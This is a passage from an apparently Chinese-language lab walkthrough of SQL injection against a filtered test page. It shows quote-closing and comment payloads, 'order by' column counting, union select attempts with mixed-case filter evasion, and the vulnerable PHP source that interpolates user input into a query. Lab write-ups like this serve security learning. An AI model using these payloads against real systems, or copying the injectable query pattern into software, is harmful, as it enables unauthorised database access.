<font face="宋体" size="3">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1</font>
复制代码
5.既然是单引号,想办法让它闭合就可以了,可以用--加空格注释,也可以#号注释:
<font face="宋体" size="3">100' order by 2 %23</font>
复制代码
发现报错了,不能枚举字段,试试去掉单引号直接order by,可以执行,说明应该不是过滤order by关键字,试试order by 3发现报错,说明只有两个字段。
<font face="宋体" size="3">1 order by 2
ID: 1 order by 2
First name: admin
Surname: admin</font>
复制代码
试试select,发现都有防护,不能执行select,猜测对select进行了过滤
<font face="宋体" size="3">1 and select 1,2
1 or select 1,2
1 union select 1,2
SQLi detected!</font>
复制代码
尝试改变大小写注入,然而还是提示被挡住了。
<font face="宋体" size="3">1 UniOn SeLeCt 1,2</font>
复制代码
6.没思路了,看看源码怎么防护的:
<font face="宋体" size="3">WooYun-2014-52257 Source
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$id = trim(strtolower($id));
$test = _do_query_safe($id);
if($test != 1)
{
die('SQLi detected!');
}
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );